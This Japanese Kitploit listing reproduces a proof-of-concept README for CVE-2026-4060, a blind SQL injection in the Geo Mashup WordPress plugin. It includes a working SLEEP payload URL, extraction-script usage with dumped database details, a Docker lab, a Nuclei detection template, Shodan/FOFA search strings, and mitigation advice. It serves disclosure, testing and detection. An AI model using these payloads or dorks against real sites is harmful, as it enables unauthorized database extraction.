Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4060-PoC — CVE-2026-4060 の概念実証: Geo Mashup WordPress プラグインの ORDER BY 句を介した認証不要の時間ベースのブラインド SQL インジェクション。エクスプロイトスクリプト、ラボ環境、Nuclei 検出テンプレートが含まれます。 | Kitploit
ツール/GitHubGitHub/ydking0911/cve-2026-4060-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

CVE-2026-4060 の概念実証: Geo Mashup WordPress プラグインの ORDER BY 句を介した認証不要の時間ベースのブラインド SQL インジェクション。エクスプロイトスクリプト、ラボ環境、Nuclei 検出テンプレートが含まれます。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 認証なしSQLインジェクション PoC

Severity CVSS Type Status

認証なしの攻撃者は、Geo Mashup の render-map エンドポイントの sort パラメータを介して ORDER BY 句に任意のSQLを注入し、機密データベース情報の時間ベースのブラインド抽出を可能にします。


目次

  • Vulnerability Overview
  • Test Environment
  • How to Run
  • Test Results
  • Mitigation
  • Detection
  • Timeline
  • References

脆弱性の概要

技術的詳細

render-map エンドポイントが受け取る sort パラメータは、サニタイズなしで $wpdb->get_results() 呼び出しに直接渡されます:

root@kitploit:~
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

$sort がそのまま展開されるため、攻撃者は ORDER BY 句にサブクエリを注入できます。WordPress の wpdb はシングルクォートをエスケープするため、PoC では ORD(SUBSTRING(...)) と数値比較を使用してこの制限を回避し、時間ベースのブラインド抽出を実行します。

脆弱なエンドポイント:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

テスト環境

ラボ構成

root@kitploit:~
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

WordPress 管理画面で有効化されている Geo Mashup 1.13.18:

Geo Mashup 1.13.18 active in WordPress admin


実行方法

1. ラボを起動

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh は以下を行います:

  • WordPress 6.8.2 + MariaDB 11.4 コンテナを起動
  • WP-CLI 経由で Geo Mashup 1.13.18(脆弱なバージョン)をインストールして有効化
  • マップエンドポイントが有効なレスポンスを返すように、ジオタグ付き投稿を作成

完了後:

  • サイト: http://localhost:8080
  • 管理者: http://localhost:8080/wp-admin(ユーザー: admin / パスワード: admin)

2. 脆弱性の確認(SLEEP インジェクション)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

約8秒のレスポンス遅延により、ORDER BY へのSQLインジェクションが確認できます。

3. データ抽出(PoC)

root@kitploit:~
# Default — print extracted results only
python3 poc.py --url http://localhost:8080

# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose

# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only

4. Nuclei 検出テンプレートの実行

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. ラボの破棄

root@kitploit:~
docker compose down -v

テスト結果

真陽性 (TP) — 脆弱なターゲット

TP-1: ORDER BY SLEEP(8) インジェクションの確認

sort パラメータを介して SLEEP(8) サブクエリを注入すると、約8秒のレスポンス遅延が発生します。

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — 8.05s response

TP-2: データ抽出(verbose モード)

PoC は ORD(SUBSTRING(...)) の比較を使用してデータを1文字ずつ抽出します。ペイロードを送信 → レスポンス時間を測定 → SLEEP が発火した文字を確定します。

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py verbose — payload, timing, extracted chars

抽出されたデータ:

クエリ結果
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Nuclei テンプレートによる検出

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

偽陽性 (FP) — 脆弱ではないターゲット

Nuclei テンプレートは誤検知を防ぐために2段階のフローを使用します。

FP-1: Geo Mashup がインストールされていない

Step 1 で readme.txt が 404 を返す場合、スキャンはSQLペイロードを送信せずに即座に終了します。

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2: 修正済みバージョン(≥ 1.13.19)

readme.txt によるプラグインバージョンの確認:

readme.txt showing Stable tag: 1.13.18

compare_versions(version, '<= 1.13.18') が失敗すると、Step 2 は完全にスキップされます。

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

緩和策

対策詳細
更新Geo Mashup を 1.13.19 以降にアップグレード
一時対応更新が適用されるまでプラグインを無効化
WAFORDER BY 句へのサブクエリ注入パターンをブロック

パッチコミット: plugins.trac.wordpress.org/changeset/3503627


検出

Nuclei テンプレート: nuclei/CVE-2026-4060.yaml

検出フロー:

root@kitploit:~
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

タイムライン

日付出来事
2026-04脆弱性を発見
2026-04プラグイン作者に報告
2026-05Geo Mashup 1.13.19 パッチをリリース
2026-05-14CVE が採番され公開

参照

  • NVD — CVE-2026-4060
  • Wordfence アドバイザリ
  • プラグインのチェンジセット(修正)
  • CWE-89

免責事項

このリポジトリは教育および許可されたセキュリティテストのみを目的としています。
所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。
作者は本資料の不正使用について一切の責任を負いません。

ツールをダウンロード
フィールド詳細
CVECVE-2026-4060
プラグインGeo Mashup by cyberhobo
影響を受けるバージョン≤ 1.13.18
修正バージョン1.13.19
CVSS v3.17.5(高) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — SQLにおける特殊要素の不適切な無害化
認証要件なし(認証不要)
コンポーネントバージョン
OSmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18(脆弱)
Python3.x(poc.py 用)
Nucleiv3.8.0